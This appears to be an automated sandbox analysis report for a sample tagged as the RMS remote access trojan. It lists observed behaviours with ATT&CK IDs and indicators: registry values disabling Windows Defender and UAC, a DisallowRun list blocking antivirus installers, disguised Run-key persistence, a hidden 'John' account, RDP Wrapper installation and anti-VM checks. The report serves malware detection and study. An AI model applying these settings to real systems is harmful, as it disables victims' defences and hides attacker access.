rms | cde3720e9c1d758e606495f4eb216e165e0e2bbe80c9018f32287ae31f553693

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	update.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs

Hidden Files and Directories

T1158

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	taskhost.exe

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	update.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	update.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	spoolsv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhost.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
15	1984	cmd.exe
16	1984	cmd.exe
17	1984	cmd.exe
18	1984	cmd.exe

Blocks application from running via registry modification 27 IoCs

Adds application to list of disallowed applications.

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "avast_free_antivirus_setup_online.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\16 = "FRST64.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\19 = "eset_nod32_antivirus_live_installer.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\23 = "drweb-12.0-ss-win.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "ESETOnlineScanner_UKR.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "AVbr.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\17 = "eset_internet_security_live_installer.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\20 = "MBSetup.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "hitmanpro_x64.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "Cezurity_Scanner_Pro_Free.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "HitmanPro.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "AV_br.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\22 = "bitdefender_avfree.exe"	update.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "Cube.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\15 = "cureit.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "eav_trial_rus.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\25 = "TDSSKiller.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "KVRT.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "eis_trial_rus.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "essf_trial_rus.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "ESETOnlineScanner_RUS.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "360TS_Setup_Mini.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\18 = "esetonlinescanner.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\21 = "PANDAFREEAV.exe"	update.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\24 = "Cureit.exe"	update.exe

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	update.exe

Executes dropped EXE 17 IoCs

pid	Process
1744	Game.exe
688	spoolsv.exe
1760	taskhost.exe
1156	svchost.exe
1984	cmd.exe
684	smss.exe
628	winserv.exe
1704	Packs.exe
1212	winserv.exe
1216	icacls.exe
1328	icacls.exe
1448	sc.exe
1424	winserv.exe
812	winserv.exe
608	winserv.exe
1588	winserv.exe
1816	winserv.exe

Modifies Windows Firewall 1 TTPs 8 IoCs

Modify Existing Service

T1031

pid	Process
1072	netsh.exe
1052	netsh.exe
804	netsh.exe
1540	netsh.exe
1904	netsh.exe
1996	netsh.exe
1180	netsh.exe
2032	netsh.exe

Registers new Print Monitor 2 TTPs 5 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Microsoft Shared Fax Monitor	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Standard TCP/IP Port	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Standard TCP/IP Port\Ports	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Local Port	spoolsv.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	icacls.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	spoolsv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	spoolsv.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation	winserv.exe

Loads dropped DLL 5 IoCs

pid	Process
1744	Game.exe
1744	Game.exe
1156	svchost.exe
1156	svchost.exe
108	Process not Found

Modifies file permissions 1 TTPs 42 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1736	icacls.exe
1072	icacls.exe
564	icacls.exe
1412	icacls.exe
1216	icacls.exe
1468	icacls.exe
1956	icacls.exe
532	icacls.exe
1412	icacls.exe
1940	icacls.exe
1488	icacls.exe
1012	icacls.exe
1824	icacls.exe
1344	icacls.exe
1132	icacls.exe
1704	icacls.exe
1684	icacls.exe
1684	icacls.exe
1672	icacls.exe
920	icacls.exe
2040	icacls.exe
1216	icacls.exe
1608	icacls.exe
1684	icacls.exe
772	icacls.exe
1976	icacls.exe
876	icacls.exe
1716	icacls.exe
1328	icacls.exe
2028	icacls.exe
972	icacls.exe
436	icacls.exe
668	icacls.exe
1056	icacls.exe
1448	icacls.exe
1032	icacls.exe
928	icacls.exe
2040	icacls.exe
1108	icacls.exe
1312	icacls.exe
692	icacls.exe
1824	icacls.exe

Themida packer 37 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/956-55-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/memory/956-57-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/memory/956-58-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/memory/956-59-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/memory/956-60-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/memory/956-61-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/memory/956-62-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/memory/956-63-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/memory/956-64-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/memory/956-65-0x000000013F310000-0x00000001435D3000-memory.dmp	themida
behavioral1/files/0x000c000000012307-94.dat	themida
behavioral1/files/0x000c000000012307-96.dat	themida
behavioral1/files/0x0008000000012318-100.dat	themida
behavioral1/files/0x0008000000012318-98.dat	themida
behavioral1/files/0x000c000000012307-104.dat	themida
behavioral1/memory/688-103-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/memory/688-106-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/memory/1760-108-0x000000013FA70000-0x0000000142D92000-memory.dmp	themida
behavioral1/memory/688-107-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/files/0x0008000000012318-109.dat	themida
behavioral1/memory/688-111-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/memory/688-112-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/memory/688-114-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/memory/688-115-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/memory/688-116-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/memory/1760-113-0x000000013FA70000-0x0000000142D92000-memory.dmp	themida
behavioral1/memory/688-118-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/memory/1760-120-0x000000013FA70000-0x0000000142D92000-memory.dmp	themida
behavioral1/memory/1760-122-0x000000013FA70000-0x0000000142D92000-memory.dmp	themida
behavioral1/memory/1760-123-0x000000013FA70000-0x0000000142D92000-memory.dmp	themida
behavioral1/memory/1760-124-0x000000013FA70000-0x0000000142D92000-memory.dmp	themida
behavioral1/memory/1760-125-0x000000013FA70000-0x0000000142D92000-memory.dmp	themida
behavioral1/memory/1760-126-0x000000013FA70000-0x0000000142D92000-memory.dmp	themida
behavioral1/memory/1760-127-0x000000013FA70000-0x0000000142D92000-memory.dmp	themida
behavioral1/files/0x0006000000014143-206.dat	themida
behavioral1/memory/688-215-0x000000013F860000-0x0000000140428000-memory.dmp	themida
behavioral1/memory/956-241-0x000000013F310000-0x00000001435D3000-memory.dmp	themida

Adds Run key to start application 2 TTPs 5 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhost.exe"	update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Plex Media Server = "C:\\ProgramData\\Windows Tasks Service\\winserv.exe"	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	taskhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhost.exe"	taskhost.exe

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	update.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com
29	ip-api.com

Modifies WinLogon 2 TTPs 3 IoCs

Winlogon Helper DLL

T1004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	update.exe

AutoIT Executable 30 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/memory/956-58-0x000000013F310000-0x00000001435D3000-memory.dmp	autoit_exe
behavioral1/memory/956-59-0x000000013F310000-0x00000001435D3000-memory.dmp	autoit_exe
behavioral1/memory/956-60-0x000000013F310000-0x00000001435D3000-memory.dmp	autoit_exe
behavioral1/memory/956-61-0x000000013F310000-0x00000001435D3000-memory.dmp	autoit_exe
behavioral1/memory/956-62-0x000000013F310000-0x00000001435D3000-memory.dmp	autoit_exe
behavioral1/memory/956-63-0x000000013F310000-0x00000001435D3000-memory.dmp	autoit_exe
behavioral1/memory/956-64-0x000000013F310000-0x00000001435D3000-memory.dmp	autoit_exe
behavioral1/memory/956-65-0x000000013F310000-0x00000001435D3000-memory.dmp	autoit_exe
behavioral1/memory/688-107-0x000000013F860000-0x0000000140428000-memory.dmp	autoit_exe
behavioral1/memory/688-111-0x000000013F860000-0x0000000140428000-memory.dmp	autoit_exe
behavioral1/memory/688-112-0x000000013F860000-0x0000000140428000-memory.dmp	autoit_exe
behavioral1/memory/688-114-0x000000013F860000-0x0000000140428000-memory.dmp	autoit_exe
behavioral1/memory/688-115-0x000000013F860000-0x0000000140428000-memory.dmp	autoit_exe
behavioral1/memory/688-116-0x000000013F860000-0x0000000140428000-memory.dmp	autoit_exe
behavioral1/memory/688-118-0x000000013F860000-0x0000000140428000-memory.dmp	autoit_exe
behavioral1/memory/1760-120-0x000000013FA70000-0x0000000142D92000-memory.dmp	autoit_exe
behavioral1/memory/1760-122-0x000000013FA70000-0x0000000142D92000-memory.dmp	autoit_exe
behavioral1/memory/1760-123-0x000000013FA70000-0x0000000142D92000-memory.dmp	autoit_exe
behavioral1/memory/1760-124-0x000000013FA70000-0x0000000142D92000-memory.dmp	autoit_exe
behavioral1/memory/1760-125-0x000000013FA70000-0x0000000142D92000-memory.dmp	autoit_exe
behavioral1/memory/1760-126-0x000000013FA70000-0x0000000142D92000-memory.dmp	autoit_exe
behavioral1/memory/1760-127-0x000000013FA70000-0x0000000142D92000-memory.dmp	autoit_exe
behavioral1/files/0x0009000000013199-163.dat	autoit_exe
behavioral1/files/0x00070000000132fc-166.dat	autoit_exe
behavioral1/files/0x00070000000132fc-169.dat	autoit_exe
behavioral1/files/0x0009000000013199-165.dat	autoit_exe
behavioral1/files/0x00070000000132fc-171.dat	autoit_exe
behavioral1/files/0x0009000000013199-172.dat	autoit_exe
behavioral1/memory/688-215-0x000000013F860000-0x0000000140428000-memory.dmp	autoit_exe
behavioral1/memory/956-241-0x000000013F310000-0x00000001435D3000-memory.dmp	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
956	update.exe
688	spoolsv.exe
1760	taskhost.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	icacls.exe
File opened for modification	C:\Program Files\COMODO	spoolsv.exe
File opened for modification	C:\Program Files\AVG	spoolsv.exe
File opened for modification	C:\Program Files (x86)\Kaspersky Lab	spoolsv.exe
File opened for modification	C:\Program Files\RDP Wrapper	smss.exe
File opened for modification	C:\Program Files\Enigma Software Group	spoolsv.exe
File opened for modification	C:\Program Files\SpyHunter	spoolsv.exe
File opened for modification	C:\Program Files\Kaspersky Lab	spoolsv.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File opened for modification	C:\Program Files (x86)\360	spoolsv.exe
File opened for modification	C:\Program Files (x86)\SpyHunter	spoolsv.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	icacls.exe
File opened for modification	C:\Program Files\AVAST Software	spoolsv.exe
File opened for modification	C:\Program Files\ByteFence	spoolsv.exe
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File opened for modification	C:\Program Files\Malwarebytes	spoolsv.exe
File opened for modification	C:\Program Files (x86)\AVAST Software	spoolsv.exe
File opened for modification	C:\Program Files (x86)\AVG	spoolsv.exe
File opened for modification	C:\Program Files (x86)\Microsoft JDX	spoolsv.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
876	sc.exe
1448	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	smss.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

Scheduled Task

pid	Process
1976	schtasks.exe
1908	schtasks.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
1596	timeout.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command-Line Interface

T1059

pid	Process
1700	ipconfig.exe

Modifies data under HKEY_USERS 14 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows NT\CurrentVersion\Devices	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Microsoft XPS Document Writer = "winspool,Ne00:,15,45"	spoolsv.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\Devices	spoolsv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Devices	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows NT\CurrentVersion\Devices\Fax = "winspool,Ne01:"	spoolsv.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts	spoolsv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Fax = "winspool,Ne01:,15,45"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\Devices\Fax = "winspool,Ne01:"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Fax = "winspool,Ne01:,15,45"	spoolsv.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows NT\CurrentVersion\Devices\Microsoft XPS Document Writer = "winspool,Ne00:"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\Devices\Microsoft XPS Document Writer = "winspool,Ne00:"	spoolsv.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts\Microsoft XPS Document Writer = "winspool,Ne00:,15,45"	spoolsv.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage	smss.exe

NTFS ADS 4 IoCs

description	ioc	Process
File opened for modification	C:\ProgramData\RealtekHD\winmgmts:\localhost\root\CIMV2	taskhost.exe
File opened for modification	C:\ProgramData\RealtekHD\winmgmts:\localhost\	taskhost.exe
File opened for modification	C:\ProgramData\Setup\WinMgmts:\	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\WinMgmts:\	update.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
1760	taskhost.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
628	winserv.exe
628	winserv.exe
956	update.exe
628	winserv.exe
628	winserv.exe
628	winserv.exe
956	update.exe
1212	winserv.exe
1212	winserv.exe
1212	winserv.exe
1212	winserv.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
956	update.exe
1760	taskhost.exe
956	update.exe
1760	taskhost.exe
1760	taskhost.exe
1328	icacls.exe
1328	icacls.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1760	taskhost.exe

Suspicious behavior: LoadsDriver 11 IoCs

pid	Process
108	Process not Found
108	Process not Found
108	Process not Found
108	Process not Found
108	Process not Found
108	Process not Found
108	Process not Found
108	Process not Found
108	Process not Found
108	Process not Found
108	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	956	update.exe
Token: 4294969342	956	update.exe
Token: 7707704	956	update.exe
Token: 7705152	956	update.exe
Token: 4294969342	956	update.exe
Token: 116	956	update.exe
Token: 576462247023139467	956	update.exe
Token: SeCreateTokenPrivilege	956	update.exe
Token: 7770984	956	update.exe
Token: 51678306872	956	update.exe
Token: 1374389534720	956	update.exe
Token: 3479031072926531656	956	update.exe
Token: 6845471433603153920	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 3494591001958309120	956	update.exe
Token: 1	956	update.exe
Token: 19241453486080	956	update.exe
Token: 68719476738	956	update.exe
Token: 536870912000	956	update.exe
Token: 378584174393491529	956	update.exe
Token: 7847168	956	update.exe
Token: SeAssignPrimaryTokenPrivilege	956	update.exe
Token: 7850864	956	update.exe
Token: 32	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 4294969342	956	update.exe
Token: 0	956	update.exe
Token: 1	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 3494512123630583873	956	update.exe
Token: 0	956	update.exe
Token: 382243340500467782	956	update.exe
Token: 380835952727162881	956	update.exe
Token: 22518169935544320	956	update.exe
Token: 1	956	update.exe
Token: 0	956	update.exe
Token: 281477286448623	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 281477286448623	956	update.exe
Token: 0	956	update.exe
Token: 0	956	update.exe
Token: 382243374860271698	956	update.exe
Token: 3494591001773754880	956	update.exe
Token: 3692952205552058474	956	update.exe
Token: 8791760920592	956	update.exe
Token: 3494591002126074112	956	update.exe
Token: 3494591001840868864	956	update.exe
Token: 3458860172573693696	956	update.exe
Token: 1374389534720	956	update.exe
Token: 378302750955667527	956	update.exe
Token: 8589936638	956	update.exe
Token: 8589936638	956	update.exe
Token: 8589936638	956	update.exe
Token: 8589936638	956	update.exe

Suspicious use of SetWindowsHookEx 32 IoCs

pid	Process
628	winserv.exe
628	winserv.exe
628	winserv.exe
628	winserv.exe
1212	winserv.exe
1212	winserv.exe
1212	winserv.exe
1212	winserv.exe
1328	icacls.exe
1328	icacls.exe
1328	icacls.exe
1328	icacls.exe
1424	winserv.exe
1424	winserv.exe
1424	winserv.exe
1424	winserv.exe
812	winserv.exe
812	winserv.exe
812	winserv.exe
812	winserv.exe
608	winserv.exe
608	winserv.exe
608	winserv.exe
608	winserv.exe
1588	winserv.exe
1588	winserv.exe
1588	winserv.exe
1588	winserv.exe
1816	winserv.exe
1816	winserv.exe
